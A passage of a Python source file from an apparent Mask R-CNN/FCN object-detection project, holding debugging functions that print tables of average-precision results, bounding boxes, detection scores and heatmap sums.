## DISPLAY xxxx_AP_results FILE and AP_Results data struct
##-----------------------------------------------------------------------------------------------------------
def display_AP_file(map_file):
with open(map_file, 'rb') as outfile:
APRes = pickle.load(outfile)
print()
for i in sorted(APRes):
print(i, APRes[i]['Epochs'])
display_AP_results(APRes)
def display_AP_results(APRes):
for key in sorted(APRes) :
print('\n\nAfter {} training epochs.\nWeight file: {}'.format( APRes[key]['Epochs'],APRes[key]['Filename']))
print("\n{:6s} {:^10s} {:>13s} {:>13s} {:>13s} {:>13s} {:>13s} {:>13s} {:>13s}".
format("Images", "Epochs", "MRCNN_AP_Orig", "MRCNN_AP_0", "FCN_AP_0", "MRCNN_AP_1", "FCN_AP_1", "MRCNN_AP_2", "FCN_AP_2"))
print('-'*116)
for LIMIT in [10,50,100,250,500]:
print("{:<6d} {:^10s} {:13.5f} {:13.5f} {:13.5f} {:13.5f} {:13.5f} {:13.5f} {:13.5f}".format(LIMIT, APRes[key]['Epochs'],
np.mean(APRes[key]['MRCNN_AP_Orig'][:LIMIT]),
np.mean(APRes[key]['MRCNN_AP_0'][:LIMIT]),
np.mean(APRes[key]['FCN_AP_0'][:LIMIT]),
np.mean(APRes[key]['MRCNN_AP_1'][:LIMIT]),
np.mean(APRes[key]['FCN_AP_1'][:LIMIT]),
np.mean(APRes[key]['MRCNN_AP_2'][:LIMIT]),
np.mean(APRes[key]['FCN_AP_2'][:LIMIT]) ))
print('\n')
##-----------------------------------------------------------------------------------------------------------
## DISPLAY GROUND TRUTH BOUNDING BOXES
##-----------------------------------------------------------------------------------------------------------
def display_gt_bboxes(dataset, config, image_id=0, only = None, size = 8, verbose = False):
from mrcnn.datagen import load_image_gt
p_original_image, p_image_meta, p_gt_class_ids, p_gt_bboxes = \
load_image_gt(dataset, config, image_id, augment=False, use_mini_mask=True)
if only is None:
only = np.unique(p_gt_class_ids).astype(np.int)
print()
print('GT_BOXES for image ', image_id)
print('-'*80)
print(' class | ')
print('seq id name | Y1 X1 Y2 X2 CX CY AREA')
print('-'*80)
idx = 0
for cls , pre in zip(p_gt_class_ids, p_gt_bboxes):
cx = pre[1] + (pre[3]-pre[1])/2
cy = pre[0] + (pre[2]-pre[0])/2
area = (pre[3]-pre[1]) * (pre[2]-pre[0])
if cls in only:
print('{:3.0f} {:2d} {:18s} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:5.1f} {:5.1f} {:7.2f}'.
format(idx, cls, dataset.class_names[cls],
pre[0],pre[1], pre[2], pre[3], cx, cy, area )) #, pre[4],pre[5],pre[6],roi))
idx +=1
print()
ttl = "Ground Truth Boxes for image "+str(image_id)
visualize.display_instances(p_original_image, p_gt_bboxes, p_gt_class_ids, dataset.class_names,
only_classes = only, title=ttl, size = size)
return
##-----------------------------------------------------------------------------------------------------------
## DISPLAY MRCNN SCORES
##-----------------------------------------------------------------------------------------------------------
def display_pr_scores(f_input, class_names, only = None, display = True, size = 12):
'''
f_input : results from detection process (run_mrcnn_detection)
pr_scores: pr_scores returned from detection or evaluation process results['pr_scores']
cn: class names
'''
np_format = {}
np_format['float'] = lambda x: "%10.4f" % x
np_format['int'] = lambda x: "%10d" % x
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if isinstance (f_input, dict) :
pr_scores = f_input['pr_scores']
else:
pr_scores = f_input
if only is None:
only = np.unique(pr_scores[:,4]).astype(np.int)
print(' Display pr_scores ;', pr_scores.shape)
seq_start = pr_scores.shape[1]
print('PR_SCORES from fcn/mrcnn_results:')
print('-'*175)
print(' | | | MRCNN score 0 | MRCNN score 1 | MRCNN score 2 | ')
print(' class |TP/| mrcnn normlzd | gaussian bbox nrm.scr*| ga.sum mask score norm | ga.sum mask score norm | ')
print(' seq id name | FP| score score | sum area gau.sum | in mask sum score | in mask sum score | X1 Y1 X2 Y2 AREA ')
print('-'*175)
for idx, pre in enumerate(pr_scores):
cx = pre[1] + (pre[3]-pre[1])/2
cy = pre[0] + (pre[2]-pre[0])/2
area = (pre[3]-pre[1]) * (pre[2]-pre[0])
int_cls = int(pre[CLASS_COLUMN])
if int_cls in only:
print('{:3.0f} {:3.0f} {:2d} {:18s} |{:2.0f} | {:.4f} {:.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:7.2f}'.
format(idx,
pre[SEQUENCE_COLUMN],
int_cls, class_names[int_cls], pre[DT_TYPE_COLUMN], pre[ORIG_SCORE_COLUMN], pre[NORM_SCORE_COLUMN],
pre[SCORE_0_SUM_COLUMN], pre[SCORE_0_AREA_COLUMN], pre[SCORE_0_COLUMN],
pre[SCORE_1_SUM_COLUMN], pre[SCORE_1_AREA_COLUMN], pre[SCORE_1_COLUMN], pre[SCORE_1_NORM_COLUMN],
pre[SCORE_2_SUM_COLUMN], pre[SCORE_2_AREA_COLUMN], pre[SCORE_2_COLUMN], pre[SCORE_2_NORM_COLUMN],
pre[1],pre[0], pre[3], pre[2], area )) #, pre[4],pre[5],pre[6],roi))
if isinstance (f_input, dict) and display:
img_id = str(f_input['image_meta'][0])
visualize.display_instances(f_input['image'] , pr_scores[:,:CLASS_COLUMN], pr_scores[:,CLASS_COLUMN].astype(np.int32),
class_names, pr_scores[:,ORIG_SCORE_COLUMN], only_classes= only, size =size,
title = 'MRCNN predictions for image id'+img_id)
display_mrcnn_scores = display_pr_scores
#-----------------------------------------------------------------------------------------------------------
#
#-----------------------------------------------------------------------------------------------------------
def display_pr_hm_scores(r, class_names, only = None):
'''
pr_hm_scores: pr_hm_scores or pr_hm_scores_by_class ( [class, bbox, score info] ) results from mrcnn detect
class_names : class names
'''
pr_hm_scores = r['pr_hm_scores']
print(' Display pr_hm_scores :', pr_hm_scores.shape)
np_format = {}
float_formatter = lambda x: "%10.4f" % x
int_formatter = lambda x: "%10d" % x
np_format['float'] = float_formatter
np_format['int'] = int_formatter
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if only is None:
only = range(pr_hm_scores.shape[0])
# seq_start = r['pr_hm_scores'].shape[1]
# print(' class ids : ', r['class_ids'], type(r['class_ids']))
print(' classes : ', only)
print('-'*182)
print(' | | | alt score 0 | alt score 1 | alt score 2 |')
print(' class | | mrcnn normlzd | gauss bbox nrm.scr* | ga.sum mask score norm | ga.sum mask score norm |')
print('seq id name | | score score | sum area gau.sum | in mask sum score | in mask sum score | CX CY AREA')
print('-'*182)
for cls in range(pr_hm_scores.shape[0]):
if cls in only:
for pre in pr_hm_scores[cls]:
width = pre[3]-pre[1]
height = pre[2]-pre[0]
if width == height == 0:
continue
cx = pre[1] + width/2
cy = pre[0] + height/2
area = (pre[3]-pre[1])* (pre[2]-pre[0])
print('{:3.0f} {:3.0f} {:15s} |{:2.0f}| {:.4f} {:.4f} |'\
' {:6.4f} {:9.4f} {:7.4f} |'\
' {:8.4f} {:8.4f} {:7.4f} {:7.4f} |'\
' {:8.4f} {:8.4f} {:7.4f} {:7.4f} |'\
' {:6.2f} {:6.2f} {:9.4f}'.
format(pre[SEQUENCE_COLUMN], pre[CLASS_COLUMN], class_names[cls], pre[DT_TYPE_COLUMN], pre[ORIG_SCORE_COLUMN], pre[NORM_SCORE_COLUMN],
pre[SCORE_0_SUM_COLUMN], pre[SCORE_0_AREA_COLUMN], pre[SCORE_0_COLUMN],
pre[SCORE_1_SUM_COLUMN], pre[SCORE_1_AREA_COLUMN], pre[SCORE_1_COLUMN], pre[SCORE_1_NORM_COLUMN],
pre[SCORE_2_SUM_COLUMN], pre[SCORE_2_AREA_COLUMN], pre[SCORE_2_COLUMN], pre[SCORE_2_NORM_COLUMN],
cx, cy , area)) #, pre[4],pre[5],pre[6],roi))
# print('-'*170)
return
#-----------------------------------------------------------------------------------------------------------
#
#-----------------------------------------------------------------------------------------------------------
def display_pr_hm_scores_box_info(r, class_names, only = None):
'''
r: results from mrcnn detect
cn: class names
'''
pr_hm_scores = r['pr_hm_scores']
print(' Display pr_hm_scores_box_info :', pr_hm_scores.shape)
np_format = {}
float_formatter = lambda x: "%10.4f" % x
int_formatter = lambda x: "%10d" % x
np_format['float'] = float_formatter
np_format['int'] = int_formatter
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if only is None:
only = range(pr_hm_scores.shape[0])
# seq_start = r['pr_hm_scores'].shape[1]
# print(' class ids : ', r['class_ids'], type(r['class_ids']))
print(' classes : ', only)
print('-'*175)
print(' ')
print(' class mrcnn normlzd ')
print('seq id name score score X1/Y1 X2/Y2 CX / CY WIDTH HEIGHT AREA CV_X CV_Y')
print('-'*175)
for cls in range(pr_hm_scores.shape[0]):
if cls in only:
for pre in pr_hm_scores[cls]:
# print(' {:4d} {:12s} {:.4f} {:.4f} {:.4f} {:7.4f} {:.4f} {:.4f} {}'.
width = pre[3]-pre[1]
height = pre[2]-pre[0]
cx = pre[1] + width/2
cy = pre[0] + height/2
covar_x = math.sqrt(width * 0.5)
covar_y = math.sqrt(height * 0.5)
area = (pre[3]-pre[1])* (pre[2]-pre[0])
if width == height == 0:
continue
# (' seq id name 5 8 X1/Y1 X2/Y2 CX / CY WIDTH HEIGHT AREA CV_X CV_Y')
print('{:3.0f} {:3.0f} {:15s} {:8.4f} {:8.4f} ({:7.2f}, {:7.2f}) ({:7.2f}, {:7.2f}) {:7.2f}/{:7.2f} {:7.2f} {:7.2f} {:12.2f} {:8.4f} {:8.4f}'\
' '.format(pre[SEQUENCE_COLUMN], pre[CLASS_COLUMN], class_names[cls], pre[ORIG_SCORE_COLUMN], pre[NORM_SCORE_COLUMN],
pre[1], pre[0], pre[3], pre[2],
cx, cy, width, height, area, covar_x, covar_y))
print('-'*170)
return
##-----------------------------------------------------------------------------------------------------------
## DISPLAY FCN SCORES
##-----------------------------------------------------------------------------------------------------------
def display_fcn_scores(f_input, class_names, only = None, display = True, size = 12):
'''
fcn_scores: fcn_scores returned from detection or evaluation process
cn: class names3
'''
np_format = {}
np_format['float'] = lambda x: "%10.4f" % x
np_format['int'] = lambda x: "%10d" % x
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if isinstance (f_input, dict) :
fcn_scores = f_input['fcn_scores']
else:
fcn_scores = f_input
print(' Display fcn_scores :',fcn_scores.shape)
if only is None:
only = np.unique(fcn_scores[:,4]).astype(np.int)
seq_start = fcn_scores.shape[1]
print('\nFCN_SCORES:')
print('-'*175)
print(' | | | FCN score 0 | FCN score 1 | FCN score 2 | ')
print(' class |TP/| mrcnn normlzd | gaussian bbox nrm.scr*| ga.sum mask score norm | ga.sum mask score norm | ')
print(' seq id name | FP| score score | sum area gau.sum | in mask sum score | in mask sum score | Y1 X1 Y2 X2 AREA ')
print('-'*175)
for idx, pre in enumerate(fcn_scores):
cx = pre[1] + (pre[3]-pre[1])/2
cy = pre[0] + (pre[2]-pre[0])/2
area = (pre[3]-pre[1]) * (pre[2]-pre[0])
int_cls = int(pre[CLASS_COLUMN])
if int_cls in only:
print('{:3.0f} {:3.0f} {:2d} {:18s} |{:2.0f} | {:.4f} {:.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:7.2f}'.
format(idx,
pre[SEQUENCE_COLUMN],
int_cls, class_names[int_cls], pre[DT_TYPE_COLUMN], pre[ORIG_SCORE_COLUMN], pre[NORM_SCORE_COLUMN],
pre[SCORE_0_SUM_COLUMN], pre[SCORE_0_AREA_COLUMN], pre[SCORE_0_COLUMN],
pre[SCORE_1_SUM_COLUMN], pre[SCORE_1_AREA_COLUMN], pre[SCORE_1_COLUMN], pre[SCORE_1_NORM_COLUMN],
pre[SCORE_2_SUM_COLUMN], pre[SCORE_2_AREA_COLUMN], pre[SCORE_2_COLUMN], pre[SCORE_2_NORM_COLUMN],
pre[0],pre[1], pre[2], pre[3], area )) #, pre[4],pre[5],pre[6],roi))
print()
if isinstance (f_input, dict) and display:
img_id = str(f_input['image_meta'][0])
visualize.display_instances(f_input['image'] , fcn_scores[:,:CLASS_COLUMN ], fcn_scores[:,CLASS_COLUMN].astype(np.int32),
class_names, fcn_scores[:,SCORE_1_COLUMN], only_classes= only, size =size,
title = 'FCN predictions for image id '+img_id)
def display_fcn_scores_box_info(r, class_names = None, fcn_hm = None, only = None):
'''
r: results from mrcnn detect
cn: class names
'''
fcn_scores = r['fcn_scores']
fcn_hm = r['fcn_hm']
np_format = {}
np_format['float'] = lambda x: "%10.4f" % x
np_format['int'] = lambda x: "%10d" % x
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
print(' Display fcn_scores_box_info :',fcn_scores.shape)
if only is None:
only = np.unique(fcn_scores[:,4]).astype(np.int)
# only = np.unique(fcn_scores[:,4])
seq_start = fcn_scores.shape[1]
# seq_start = r['pr_hm_scores'].shape[1]
# print(' class ids : ', r['class_ids'], type(r['class_ids']))
print(' FCN BBox Information - classes -- : ', only)
print('-'*175)
print(' | | (COVAR) | CLIP REGION ')
print('BOX class | Width Height | SQRT | FROM/TO FROM/TO ')
print('seq id name Y1/X1 Y2/X2 | CX / CY (W) ~ (H) AREA | W/2 H/2 | X1/Y1 X2/Y2 A | X1/Y1 X2/Y2 A')
print('-'*175)
for pre in fcn_scores:
# print(' {:4d} {:12s} {:.4f} {:.4f} {:.4f} {:7.4f} {:.4f} {:.4f} {}'.
cls = int(pre[4])
if cls in only:
width = pre[3]-pre[1]
height = pre[2]-pre[0]
cx = pre[1] + (width / 2.0)
cy = pre[0] + (height/ 2.0)
covar_x = width * 0.5
covar_y = height * 0.5
sq_covar_x = np.sqrt(covar_x)
sq_covar_y = np.sqrt(covar_y)
area = (pre[3]-pre[1])* (pre[2]-pre[0])
from_x = int(round(cx - sq_covar_x))
to_x = int(round(cx + sq_covar_x))
from_y = int(round(cy - sq_covar_y))
to_y = int(round(cy + sq_covar_y))
clip_area = (to_x - from_x) * (to_y - from_y)
from_x_r = round(cx) - round(sq_covar_x)
to_x_r = round(cx) + round(sq_covar_x)
from_y_r = round(cy) - math.ceil(sq_covar_y)
to_y_r = round(cy) + math.ceil(sq_covar_y)
clip_area_r = (to_x_r - from_x_r) * (to_y_r - from_y_r)
print('{:3.0f} {:3.0f} {:15s}'\
' ({:6.2f},{:6.2f}) ({:6.2f},{:6.2f}) |'\
' {:6.2f}/{:6.2f} {:7.2f}~{:7.2f} {:7.2f} {:7.2f} |'\
' {:6.2f} {:6.2f} |'\
' {:3d} {:3d} {:3d} {:3d} {:3d} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:3.0f}'.
format(pre[SEQUENCE_COLUMN], pre[CLASS_COLUMN], class_names[cls],
pre[0], pre[1], pre[2], pre[3],
cx, cy, width, height, area, pre[13],
sq_covar_x, sq_covar_y,
from_x, from_y, to_x, to_y , clip_area,
from_x_r, from_y_r, to_x_r, to_y_r, clip_area_r
))
print(' {:2s} mrcnn_scr: {:6.4f} norm: {:6.4f} scr0: {:6.4f} scr1: {:6.4f} scr2: {:6.4f}'.
format('TP' if pre[DT_TYPE_COLUMN] == 1 else 'FP',
pre[ORIG_SCORE_COLUMN],
pre[NORM_SCORE_COLUMN],
pre[SCORE_0_COLUMN],
pre[SCORE_1_COLUMN],
pre[SCORE_2_COLUMN]))
for i in range(1,fcn_hm.shape[-1]):
print(' '*10, 'cls: {:3d}-{:10s}' \
' cx/cy: {:8.3f} cx/cy+-1: {:8.3f} cx/cy+-3: {:8.3f}' \
' fr/to: {:8.3f} fr/to+1: {:8.3f} fr-1/to+1: {:8.3f} full: {:8.3f}'.format( i, class_names[i],
np.sum(fcn_hm[int(cx),int(cy),i]),
np.sum(fcn_hm[int(cx)-1:int(cx)+1,int(cy)-1:int(cy)+1,i]),
np.sum(fcn_hm[int(cx)-3:int(cx)+3,int(cy)-3:int(cy)+3,i]),
np.sum(fcn_hm[from_y:to_y, from_x:to_x,i]),
np.sum(fcn_hm[from_y:to_y+1, from_x:to_x+1,i]),
np.sum(fcn_hm[from_y-1:to_y+1, from_x-1:to_x+1,i]),
np.sum(fcn_hm[int(pre[1]):int(pre[3]), int(pre[0]):int(pre[2]),i])))
print()
print('-'*175)
return
#-----------------------------------------------------------------------------------------------------------
#
#-----------------------------------------------------------------------------------------------------------
def display_fcn_scores_box_info2(fcn_scores, fcn_hm , class_names, only = None):
'''
r: results from mrcnn detect
cn: class names
'''
np_format = {}
float_formatter = lambda x: "%10.4f" % x
int_formatter = lambda x: "%10d" % x
np_format['float'] = float_formatter
np_format['int'] = int_formatter
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if only is None:
only = np.unique(fcn_scores[:,4])
seq_start = fcn_scores.shape[1]
num_classes = fcn_hm.shape[-1]
class_list = np.arange(num_classes)
sub_title = ''.join([ '{:>15s}'.format(i) for i in class_names])
print(' Display fcn_scores_box_info2 :',fcn_scores.shape)
# seq_start = r['pr_hm_scores'].shape[1]
# print(' class ids : ', r['class_ids'], type(r['class_ids']))
print(' classes : ', only)
# print('-'*175)
# print(' | | (COVAR) | ')
# print('BOX | Width Height | SQRT | FROM/TO ')
# print('seq X1/Y1 X2/Y2 | CX / CY (W) ~ (H) AREA | W/2 H/2 | X Y ')
# print('-'*175)
for pre in fcn_scores:
cls = int(pre[4])
if cls in only:
print('-'*175)
print(' | | (COVAR) | ')
print('BOX | Width Height | SQRT | FROM/TO ')
print('seq X1/Y1 X2/Y2 | CX / CY (W) ~ (H) AREA | W/2 H/2 | X Y ')
# print('-'*175)
# print(' {:4d} {:12s} {:.4f} {:.4f} {:.4f} {:7.4f} {:.4f} {:.4f} {}'.
width = pre[3]-pre[1]
height = pre[2]-pre[0]
cx = pre[1] + (width / 2.0)
cy = pre[0] + (height/ 2.0)
covar_x = width * 0.5
covar_y = height * 0.5
sq_covar_x = np.sqrt(covar_x)
sq_covar_y = np.sqrt(covar_y)
area = (pre[3]-pre[1])* (pre[2]-pre[0])
from_x = int(round(cx - sq_covar_x))
to_x = int(round(cx + sq_covar_x))
from_y = int(round(cy - sq_covar_y))
to_y = int(round(cy + sq_covar_y))
clip_area = (to_x - from_x) * (to_y - from_y)
from_x_r = round(cx) - round(sq_covar_x)
to_x_r = round(cx) + round(sq_covar_x)
from_y_r = round(cy) - math.ceil(sq_covar_y)
to_y_r = round(cy) + math.ceil(sq_covar_y)
clip_area_r = (to_x_r - from_x_r) * (to_y_r - from_y_r)
pm1_area = ((int(cx)+1) - (int(cx) -1)) * ((int(cy)+1) - (int(cy)-1))
pm3_area = ((int(cx)+3) - (int(cx) -3)) * ((int(cy)+3) - (int(cy)-3))
fr_to_area = (to_y - from_y) * (to_x - from_x)
fr_to_p1_area = ((to_y + 1) - from_y) * ((to_x +1) - from_x)
fr_to_pm1_area = ((to_y+1) - (from_y-1)) * ((to_x+1) - (from_x-1))
full_area = (int(pre[3])-int(pre[1])) * (int(pre[2]) - int(pre[0]))
print('-'*150)
print('{:3.0f} ({:6.2f},{:6.2f}) ({:6.2f},{:6.2f}) |'\
' {:6.2f}/{:6.2f} {:7.2f}~{:7.2f} {:7.2f} {} |'\
' {:6.2f} {:6.2f}|'\
' {} {} {} {} {} | {} {} {} {} {}'.format(pre[7],
pre[1], pre[0], pre[3], pre[2],
cx, cy, width, height, area, pre[13],
sq_covar_x, sq_covar_y,
from_x, to_x, from_y, to_y , clip_area,
from_x_r, to_x_r, from_y_r, to_y_r, clip_area_r
))
print()
print(' {:3s} Original MRCNN Prediction for this box: [{:2.0f}] - {:15s} Orig Score: {:6.4f} Norm Score: {:6.4f} '.
format('TP' if pre[6] == 1 else 'FP', pre[4], class_names[cls], pre[5], pre[8]))
print('-'*150)
print()
cx_cy_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx),int(cy),i]) ) for i in class_list])
cx_cy_pm1_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx)-1:int(cx)+1,int(cy)-1:int(cy)+1,i]) ) for i in class_list])
cx_cy_pm3_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx)-3:int(cx)+3,int(cy)-3:int(cy)+3,i]) ) for i in class_list])
fr_to_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y:to_y, from_x:to_x,i]) ) for i in class_list])
fr_to_p1_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y:to_y+1, from_x:to_x+1,i]) ) for i in class_list])
fr_to_pm1_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y-1:to_y+1, from_x-1:to_x+1,i]) ) for i in class_list])
full_box_sum = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(pre[1]):int(pre[3]), int(pre[0]):int(pre[2]),i])) for i in class_list])
cx_cy_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx),int(cy),i]) ) for i in class_list])
cx_cy_pm1_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx)-1:int(cx)+1,int(cy)-1:int(cy)+1,i]) / pm1_area ) for i in class_list])
cx_cy_pm3_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(cx)-3:int(cx)+3,int(cy)-3:int(cy)+3,i]) / pm3_area ) for i in class_list])
fr_to_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y:to_y, from_x:to_x,i]) / fr_to_area ) for i in class_list])
fr_to_p1_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y:to_y+1, from_x:to_x+1,i]) / fr_to_p1_area ) for i in class_list])
fr_to_pm1_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[from_y-1:to_y+1, from_x-1:to_x+1,i]) / fr_to_pm1_area ) for i in class_list])
full_box_score = ''.join([ '{:15.4f}'.format(np.sum(fcn_hm[int(pre[1]):int(pre[3]), int(pre[0]):int(pre[2]),i])/full_area ) for i in class_list])
print(' '*10,'-'*155)
print(' '*10, ' ',sub_title)
print(' '*10,'-'*155)
print(' '*10, ' cx_cy score ({:6.1f}): {}'.format( 1 , cx_cy_sum))
print(' '*10, ' cx_cy +/-1 score ({:6.1f}): {}'.format( pm1_area , cx_cy_pm1_sum))
print(' '*10, ' cx_cy +/-3 score ({:6.1f}): {}'.format( pm3_area , cx_cy_pm3_sum))
print(' '*10, ' from:to score ({:6.1f}): {}'.format( fr_to_area , fr_to_sum))
print(' '*10, ' from:to +1 score ({:6.1f}): {}'.format( fr_to_p1_area , fr_to_p1_sum))
print(' '*10, 'from:to +/-1 score ({:6.1f}): {}'.format( fr_to_pm1_area, fr_to_pm1_sum))
print(' '*10, ' full bbox score ({:6.1f}): {}'.format( full_area , full_box_sum))
print()
print(' '*10,'-'*155)
print(' '*10, ' ',sub_title)
print(' '*10,'-'*155)
print(' '*10, ' cx_cy score ({:6.1f}): {}'.format( 1 , cx_cy_score))
print(' '*10, ' cx_cy +/-1 score ({:6.1f}): {}'.format( pm1_area , cx_cy_pm1_score))
print(' '*10, ' cx_cy +/-3 score ({:6.1f}): {}'.format( pm3_area , cx_cy_pm3_score))
print(' '*10, ' from:to score ({:6.1f}): {}'.format( fr_to_area , fr_to_score))
print(' '*10, ' from:to +1 score ({:6.1f}): {}'.format( fr_to_p1_area , fr_to_p1_score))
print(' '*10, 'from:to +/-1 score ({:6.1f}): {}'.format( fr_to_pm1_area, fr_to_pm1_score))
print(' '*10, ' full bbox score ({:6.1f}): {}'.format( full_area , full_box_score))
print()
print('-'*175)
return
#-----------------------------------------------------------------------------------------------------------
#
#-----------------------------------------------------------------------------------------------------------
def display_fcn_hm_scores_by_class(fcn_hm_scores_by_class, class_names, only = None):
'''
fcn_hm_scores: results from fcn_detection [num_classes, num_bboxes, columns]
cn: class names
'''
np_format = {}
float_formatter = lambda x: "%10.4f" % x
int_formatter = lambda x: "%10d" % x
np_format['float'] = float_formatter
np_format['int'] = int_formatter
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
if only is None:
only = range(fcn_hm_scores_by_class.shape[0])
# seq_start = r['pr_hm_scores'].shape[1]
# print(' class ids : ', r['class_ids'], type(r['class_ids']))
print(' classes : ', only)
print('-'*175)
print(' | alt score 0 | alt score 1 | alt score 2 |')
print(' class mrcnn normlzd | gauss bbox nrm.scr* | ga.sum mask score norm | ga.sum mask score norm |')
print('seq id name score score | sum area gau.sum | in mask sum score | in mask sum score |')
print('-'*175)
for cls in range(fcn_hm_scores_by_class.shape[0]):
if cls in only:
for pre in fcn_hm_scores_by_class[cls]:
# print(' {:4d} {:12s} {:.4f} {:.4f} {:.4f} {:7.4f} {:.4f} {:.4f} {}'.
width = pre[3]-pre[1]
height = pre[2]-pre[0]
if width == height == 0:
continue
cx = pre[1] + width/2
cy = pre[0] + height/2
area = (pre[3]-pre[1])* (pre[2]-pre[0])
print('{:3.0f} {:3.0f} {:15s} {:.4f} {:.4f} |'\
' {:9.4f} {:9.4f} {:9.4f} |'\
' {:8.4f} {:8.4f} {:7.4f} {:7.4f} |'\
' {:8.4f} {:8.4f} {:7.4f} {:7.4f} |'\
' {:6.2f} {:6.2f} {:9.4f}'.
format(pre[7], pre[4], class_names[cls], pre[5], pre[8],
pre[9], pre[10], pre[11],
pre[12], pre[13], pre[14], pre[15],
pre[18], pre[19], pre[20], pre[23],
cx, cy , area)) #, pre[4],pre[5],pre[6],roi))
print('-'*175)
return
##-----------------------------------------------------------------------------------------------------------
## DISPLAY MRCNN AND FCN SCORES
##-----------------------------------------------------------------------------------------------------------
def display_pr_fcn_scores(f_input, class_names, only = None, display = True, size = 12):
'''
f_input : results from detection process (run_mrcnn_detection)
pr_scores: pr_scores returned from detection or evaluation process results['pr_scores']
cn: class names
'''
np_format = {}
np_format['float'] = lambda x: "%10.4f" % x
np_format['int'] = lambda x: "%10d" % x
np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =10000, formatter = np_format)
pr_scores = f_input['pr_scores']
fcn_scores = f_input['fcn_scores']
if only is None:
only = np.unique(pr_scores[:,4]).astype(np.int)
seq_start = pr_scores.shape[1]
print('\n')
print('PR_SCORES from fcn/mrcnn_results: (top line MRCNN, bottom line FCN) ' )
print('-'*175)
print(' | | | MRCNN / FCN score 0 | MRCNN / FCN score 1 | MRCNN / FCN score 2 | ')
print(' class |TP/| mrcnn normlzd | gaussian bbox nrm.scr*| ga.sum mask score norm | ga.sum mask score norm | ')
print(' seq id name | FP| score score | sum area gau.sum | in mask sum score | in mask sum score | Y1 X1 Y2 X2 AREA ')
print('-'*175)
for idx, (pre, fcn) in enumerate(zip(pr_scores, fcn_scores)):
int_cls = int(pre[CLASS_COLUMN])
if int_cls in only:
cx = pre[1] + (pre[3]-pre[1])/2
cy = pre[0] + (pre[2]-pre[0])/2
area = (pre[3]-pre[1]) * (pre[2]-pre[0])
print('{:3.0f} {:3.0f} {:2d} {:18s} |{:2.0f} | {:.4f} {:.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:7.2f}'.
format(idx,
pre[SEQUENCE_COLUMN],
int_cls, class_names[int_cls], pre[DT_TYPE_COLUMN], pre[ORIG_SCORE_COLUMN], pre[NORM_SCORE_COLUMN],
pre[SCORE_0_SUM_COLUMN], pre[SCORE_0_AREA_COLUMN], pre[SCORE_0_COLUMN],
pre[SCORE_1_SUM_COLUMN], pre[SCORE_1_AREA_COLUMN], pre[SCORE_1_COLUMN], pre[SCORE_1_NORM_COLUMN],
pre[SCORE_2_SUM_COLUMN], pre[SCORE_2_AREA_COLUMN], pre[SCORE_2_COLUMN], pre[SCORE_2_NORM_COLUMN],
pre[0],pre[1], pre[2], pre[3], area )) #, pre[4],pre[5],pre[6],roi))
int_cls = int(fcn[CLASS_COLUMN])
if int_cls in only:
cx = fcn[1] + (fcn[3]-fcn[1])/2
cy = fcn[0] + (fcn[2]-fcn[0])/2
area = (fcn[3]-fcn[1]) * (fcn[2]-fcn[0])
print('{:3.0f} {:3.0f} {:2d} {:18s} |{:2.0f} | {:.4f} {:.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
'{:9.4f} {:6.1f} {:9.4f} {:6.4f} |'\
' {:3.0f} {:3.0f} {:3.0f} {:3.0f} {:7.2f}'.
format(idx,
fcn[SEQUENCE_COLUMN],
int_cls, class_names[int_cls], fcn[DT_TYPE_COLUMN], fcn[ORIG_SCORE_COLUMN], fcn[NORM_SCORE_COLUMN],
fcn[SCORE_0_SUM_COLUMN], fcn[SCORE_0_AREA_COLUMN], fcn[SCORE_0_COLUMN],
fcn[SCORE_1_SUM_COLUMN], fcn[SCORE_1_AREA_COLUMN], fcn[SCORE_1_COLUMN], fcn[SCORE_1_NORM_COLUMN],
fcn[SCORE_2_SUM_COLUMN], fcn[SCORE_2_AREA_COLUMN], fcn[SCORE_2_COLUMN], fcn[SCORE_2_NORM_COLUMN],
fcn[0],fcn[1], fcn[2], fcn[3], area )) #, fcn[4],fcn[5],fcn[6],roi))
print()
# if isinstance (f_input, dict) and display:
# img_id = str(f_input['image_meta'][0])
